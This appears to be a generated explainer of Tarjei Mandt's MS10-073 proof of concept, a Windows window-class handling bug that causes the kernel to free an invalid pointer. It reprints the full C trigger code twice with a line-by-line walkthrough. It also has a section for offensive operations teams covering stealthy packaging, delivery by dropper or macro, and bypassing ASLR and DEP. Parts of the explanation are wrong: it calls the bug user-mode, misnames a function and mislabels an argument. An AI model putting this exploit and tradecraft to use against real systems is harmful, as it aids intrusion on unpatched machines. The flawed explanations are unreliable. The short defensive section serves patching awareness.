Understanding MS10-073: A Deep Dive into Windows Class Handling Exploitation

Understanding MS10-073: A Deep Dive into Windows Class Handling Exploitation
What this paper is
This paper, published by Tarjei Mandt in 2011, details a vulnerability in Microsoft Windows' class handling mechanism, specifically related to how window classes are registered and managed. The vulnerability, later patched by Microsoft as MS10-073, allows an attacker to trigger a heap corruption by manipulating window class extra data and then calling a specific window procedure. This corruption can lead to arbitrary code execution.
Simple technical breakdown
The core of the vulnerability lies in how Windows manages extra data associated with window classes. When a window class is registered, you can specify a size for "extra bytes" (cbWndExtra). These bytes are then allocated for each window created from that class.
The exploit abuses this by:
- Registering a window class with a small
cbWndExtra. - Creating a window of this class.
- Writing a malicious pointer value into the extra data of this window.
- Calling a specific window procedure (
MenuWindowProcA) with a message (WM_NCCREATE) that causes it to interpret this malicious pointer as a pointer to a structure it expects to free. - When the window is destroyed, Windows attempts to free the memory pointed to by the malicious pointer, leading to a heap corruption.
Complete code and payload walkthrough
The provided C code demonstrates the exploitation technique. Let's break it down section by section.
#include <windows.h>
/*
Source:
http://mista.nu/blog/2010/12/01/windows-class-handling-gone-wrong/
*/
int main(int argc, char **argv)
{
WNDCLASSA Class = {0};
CREATESTRUCTA Cs = {0};
FARPROC MenuWindowProcA;
HMODULE hModule;
HWND hWindow;
// ... rest of the code
}#include <windows.h>: This line includes the Windows API header file, which provides access to all the necessary functions and structures for interacting with the Windows operating system.int main(int argc, char **argv): This is the standard entry point for a C program.WNDCLASSA Class = {0};: Declares aWNDCLASSAstructure and initializes all its members to zero. This structure holds information about a window class.CREATESTRUCTA Cs = {0};: Declares aCREATESTRUCTAstructure and initializes it to zero. This structure contains information about how a window is created.FARPROC MenuWindowProcA;: Declares a pointer to a function that will hold the address ofMenuWindowProcA.FARPROCis a generic function pointer type.HMODULE hModule;: Declares a handle to a module (DLL).HWND hWindow;: Declares a handle to a window.
Class.lpfnWndProc = DefWindowProc;
Class.lpszClassName = "Class";
Class.cbWndExtra = sizeof(PVOID);
RegisterClassA(&Class);Class.lpfnWndProc = DefWindowProc;: Sets the window procedure for this class toDefWindowProc. This is the default window procedure that handles standard window messages.Class.lpszClassName = "Class";: Assigns a name to this window class. This name is used later to create windows of this class.Class.cbWndExtra = sizeof(PVOID);: This is a crucial part. It specifies the number of extra bytes to allocate for each window created from this class.sizeof(PVOID)means it allocates enough space to hold a pointer.RegisterClassA(&Class);: Registers the window class with the Windows operating system.
hModule = LoadLibraryA("USER32.DLL");
MenuWindowProcA = GetProcAddress(hModule,"MenuWindowProcA");hModule = LoadLibraryA("USER32.DLL");: Loads theUSER32.DLLlibrary into the process's address space. This DLL contains many user interface functions, including window procedures.MenuWindowProcA = GetProcAddress(hModule,"MenuProcWindowA");: Retrieves the memory address of theMenuWindowProcAfunction fromUSER32.DLLand stores it in theMenuWindowProcApointer.
hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL);hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL);: Creates a window using the registered "Class"."Class": The name of the window class to use."Window": The title of the window.0,0,0,32,32: Specifies position and size (x, y, width, height). These values are not critical for the exploit itself.NULL,NULL,NULL,NULL: Other parameters like parent window, menu, instance, and creation parameters.
// set the pointer value of the (soon to be) popup menu structure
SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080);SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080);: This is where the malicious data is injected.hWindow: The handle to the created window.0: The offset within the window's extra data. SincecbWndExtrawas set tosizeof(PVOID), offset0points to the beginning of the allocated extra bytes.(LONG_PTR)0x80808080: This is the value being written. It's a pointer-like value that is not a valid memory address. The exploit uses this specific value to trigger a predictable crash when Windows tries to free it.
// set WND->fnid = FNID_MENU
MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs);MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs);: This line calls theMenuWindowProcAfunction directly, simulating a window message.hWindow: The window handle.0: The message ID (this is unusual for a real message, but the function's internal logic is being targeted).WM_NCCREATE: This is a critical message. WhenMenuWindowProcAreceivesWM_NCCREATE, it expects to process aCREATESTRUCT(which is passed aslParam). Internally,MenuWindowProcAattempts to access a pointer stored in the window's extra data. It then tries to use this pointer as if it were a pointer to a structure that needs to be freed.(WPARAM)0: Window parameter.(LPARAM)&Cs: Long parameter, pointing to theCREATESTRUCTAstructure.
How MenuWindowProcA is abused:
The MenuWindowProcA function, when processing WM_NCCREATE, expects to find a pointer to a structure that it will later free. It typically accesses this pointer via the window's cbWndExtra data. By setting cbWndExtra to sizeof(PVOID) and then writing 0x80808080 into that space, the exploit makes MenuWindowProcA believe it has a valid pointer to free.
// trigger -> ExPoolFree(0x80808080)
DestroyWindow(hWindow);DestroyWindow(hWindow);: This function destroys the window. When a window is destroyed, Windows performs cleanup operations, including freeing any memory associated with the window's extra data. BecauseMenuWindowProcAwas manipulated to set up a specific internal state, theDestroyWindowcall will trigger the freeing of the invalid pointer0x80808080, leading to a heap corruption (a crash).
return 0;
}return 0;: Indicates successful execution of themainfunction.
Mapping list:
WNDCLASSA Class = {0};: Structure to define window class properties.Class.lpfnWndProc = DefWindowProc;: Sets default message handler.Class.lpszClassName = "Class";: Names the custom window class.Class.cbWndExtra = sizeof(PVOID);: Allocates space for a pointer in each window's extra data.RegisterClassA(&Class);: Registers the custom window class.LoadLibraryA("USER32.DLL");: Loads the library containing window management functions.GetProcAddress(hModule,"MenuWindowProcA");: Gets the address of the target window procedure.CreateWindowA("Class", ...);: Creates an instance of the custom window class.SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080);: Injects a fake pointer into the window's extra data.MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs);: TriggersMenuWindowProcAto processWM_NCCREATE, setting up an internal state that expects to free the injected pointer.DestroyWindow(hWindow);: Initiates window destruction, leading to the freeing of the invalid pointer and heap corruption.
Practical details for offensive operations teams
- Required access level: This exploit targets a local vulnerability within a user-mode process. Therefore, it requires the attacker to have the ability to execute code on the target system, typically through a prior compromise or social engineering. It does not grant initial access.
- Lab preconditions:
- A vulnerable Windows operating system. MS10-073 patched systems are not vulnerable. The specific patch level needs to be identified.
- A development environment capable of compiling C code (e.g., MinGW, Visual Studio).
- Debugging tools (e.g., WinDbg) are essential for understanding the heap corruption and developing reliable shellcode.
- Tooling assumptions:
- The exploit code itself is written in C.
- Shellcode would need to be developed separately to achieve arbitrary code execution after the heap corruption. This would likely involve techniques to control the instruction pointer after the crash.
- A method to deliver and execute the C exploit code (e.g., a dropper, a macro in a document, or direct execution on a compromised system).
- Execution pitfalls:
- ASLR/DEP: Modern Windows versions employ Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP), which can make reliable exploitation of heap corruption more challenging. The attacker would need to bypass these protections.
- Heap Feng Shui: The exact state of the heap can influence the outcome of a heap corruption. The attacker might need to perform "heap feng shui" (manipulating the heap state) to ensure the corruption leads to a predictable control flow hijack.
- Patching: The primary pitfall is running on a patched system. Identifying the patch level is critical.
- Architecture (32-bit vs. 64-bit): The exploit code uses
WNDCLASSA,CREATESTRUCTA, andSetWindowLongPtr, which are generally compatible with both 32-bit and 64-bit Windows. However, shellcode and memory addresses will differ significantly between architectures. - Specific
MenuWindowProcAbehavior: The exact internal logic ofMenuWindowProcAand how it handlesWM_NCCREATEwith a malformedCREATESTRUCTmight have subtle variations across Windows versions, requiring testing.
- Tradecraft considerations:
- Stealth: Executing a C program directly might be noisy. Packaging it as a DLL or embedding it within another process could be more stealthy.
- Persistence: This exploit is for privilege escalation or code execution after initial access. It does not provide persistence on its own.
- Payload Delivery: The exploit code itself doesn't contain shellcode. A separate payload would need to be delivered and executed.
Where this was used and when
This vulnerability was disclosed in late 2010 and patched by Microsoft in November 2010 as MS10-073. Exploits targeting this vulnerability would have been relevant in the period immediately following the patch release, as attackers sought to exploit unpatched systems. It's a classic example of a vulnerability discovered and published by independent researchers before being addressed by the vendor.
Defensive lessons for modern teams
- Patch Management: The most direct lesson is the critical importance of timely patch management. Systems that are not patched are vulnerable to known exploits.
- Vulnerability Research Awareness: Staying informed about publicly disclosed vulnerabilities and proof-of-concept exploits is crucial for proactive defense.
- Heap Corruption Detection: Modern security solutions often include heuristics to detect heap corruption patterns, which can flag attempts to exploit such vulnerabilities.
- Process Monitoring: Monitoring for unusual process behavior, such as the direct execution of C programs or the loading of specific DLLs, can be an indicator of compromise.
- Understanding Core OS Components: Defenders benefit from understanding how fundamental Windows components like window management and memory allocation work, as many vulnerabilities exploit these low-level mechanisms.
ASCII visual (if applicable)
This exploit doesn't lend itself to a complex architectural diagram. It's more of a direct manipulation of internal Windows structures. However, we can visualize the flow of data and function calls:
+-------------------+ +-------------------+ +-------------------+
| Attacker's Process|----->| Windows OS |----->| USER32.DLL |
| (Exploit Code) | | (Window Manager) | | (MenuWindowProcA) |
+-------------------+ +-------------------+ +-------------------+
| |
| 1. Register Class | 3. Create Window
| (cbWndExtra=ptr) | (with extra data)
| |
| 2. Load USER32.DLL | 4. Set WindowLongPtr
| & GetProcAddress | (inject fake pointer)
| |
| | 5. Call MenuWindowProcA
| | (WM_NCCREATE)
| | -> Interprets fake pointer
| |
| | 6. DestroyWindow
| | -> Tries to free fake pointer
| | -> Heap Corruption (Crash)
| |
+------------------------+Source references
- Paper ID: 15894
- Paper Title: Microsoft Windows - Class Handling (MS10-073)
- Author: Tarjei Mandt
- Published: 2011-01-02
- Keywords: Windows, dos
- Paper URL: https://www.exploit-db.com/papers/15894
- Raw URL: https://www.exploit-db.com/raw/15894
- Original Source Mentioned in Code: http://mista.nu/blog/2010/12/01/windows-class-handling-gone-wrong/
Original Exploit-DB Content (Verbatim)
#include <windows.h>
/*
Source:
http://mista.nu/blog/2010/12/01/windows-class-handling-gone-wrong/
*/
int main(int argc, char **argv)
{
WNDCLASSA Class = {0};
CREATESTRUCTA Cs = {0};
FARPROC MenuWindowProcA;
HMODULE hModule;
HWND hWindow;
Class.lpfnWndProc = DefWindowProc;
Class.lpszClassName = "Class";
Class.cbWndExtra = sizeof(PVOID);
RegisterClassA(&Class);
hModule = LoadLibraryA("USER32.DLL");
MenuWindowProcA = GetProcAddress(hModule,"MenuWindowProcA");
hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL);
// set the pointer value of the (soon to be) popup menu structure
SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080);
// set WND->fnid = FNID_MENU
MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs);
// trigger -> ExPoolFree(0x80808080)
DestroyWindow(hWindow);
return 0;
}